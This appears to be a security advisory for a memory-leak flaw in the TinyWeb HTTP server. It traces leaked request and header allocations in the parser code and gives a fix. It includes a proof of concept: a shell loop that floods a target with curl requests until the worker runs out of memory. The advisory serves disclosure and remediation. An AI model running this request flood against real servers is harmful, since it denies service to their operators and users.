## https://sploitus.com/exploit?id=PACKETSTORM:227149
# Security Advisory: Unauthenticated Memory Leak Leads To Memory Exhaustion (TinyWeb)
**Assigned CVE ID:** CVE-2026-67183
## Summary
TinyWeb allocates several objects while parsing each request and never frees them. The request and header structures have no destructors, and nothing deletes them after the response is sent. Worker memory grows with every request and never drops, so a steady stream of ordinary requests drives the worker out of memory.
## Affected software
- Project: TinyWeb (https://github.com/GeneralSandman/TinyWeb)
- Version reported by the build: `TnyWeb/0.0.8`
- Affected commits: `e48f15d` (2018-11-20), where these structures and the parser were introduced, through `a381da2` (2023-11-22, latest on `master`).
- Fixed version: none.
## Classification
- CWE-401: Missing Release of Memory after Effective Lifetime
- CVSS 4.0 base score: 8.7 (High)
- Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
## Threat model
An unauthenticated remote attacker who can reach the server's listening TCP port (9090 in the shipped configuration) and send requests at a modest sustained rate. No credentials or user interaction are required. The requests can be well formed; no special payload is needed.
## Technical details
For each request, `HttpParser::execute()` allocates a `Url`, an `HttpHeaders`, and one `HttpHeader` per header line:
```cpp
// src/tiny_http/http_parser.cc:1692
request->url = new Url;
// src/tiny_http/http_parser.cc:1709
request->headers = new HttpHeaders;
// src/tiny_http/http_parser.cc:1033-1040
HttpHeader* header = new HttpHeader;
return_val = parseHeader(stream, offset, len, header);
...
result->generals.push_back(header); // stored in a raw-pointer list
```
`HttpRequest` and `HttpHeaders` are plain structs with no destructor, so destroying an `HttpRequest` frees none of these:
```cpp
// src/tiny_http/http_parser.h:442
typedef struct HttpRequest {
...
Url* url;
HttpHeaders* headers;
HttpBody* body;
} HttpRequest;
// src/tiny_http/http_parser.h:279-304
typedef struct HttpHeaders {
...
std::list<HttpHeader*> generals; // raw pointers, never deleted
...
} HttpHeaders;
```
`WebProtocol` holds the request in a `std::shared_ptr<HttpRequest>` (`src/tiny_http/http_protocol.h:49`). When the next request replaces it, the default `~HttpRequest` runs and leaks `url`, `headers`, `body`, and every `HttpHeader` in `generals`. The only `delete request` in the code is in `getDataFromProxy()` (`src/tiny_http/http_protocol.cc:194`), a function the request path never calls. Per-request response buffers from the memory pool add to the growth.
## Proof of concept
1. Start the server with the shipped configuration (listening on port 9090). Note the process ID of a worker.
2. Record the worker's resident memory:
```
grep VmRSS /proc/<worker_pid>/status
```
3. Send a batch of ordinary requests:
```
for i in $(seq 1 2000); do
curl -s -o /dev/null http://TARGET:9090/
done
```
4. Read `VmRSS` again. It has grown and does not fall afterward. A representative run:
```
VmRSS before: 3704 kB
after 500 requests: 4788 kB
after 1000 requests: 22068 kB
after 1500 requests: 41652 kB
after 2000 requests: 59956 kB
```
The growth is monotonic, roughly 20 to 28 kB per request, with no plateau. Repeating the batch continues the climb until the worker is killed for running out of memory.
## Impact
An unauthenticated attacker can exhaust a worker's memory with a sustained request stream and force an out-of-memory condition, denying service. Ordinary traffic also leaks over time, so the condition can occur without an attacker.
## Remediation
Give `HttpRequest` and `HttpHeaders` destructors that free `url`, `headers`, `body`, and every `HttpHeader` in `generals`, or hold them in smart pointers so they are released automatically. Also release the per-request memory-pool buffers once the response has been sent.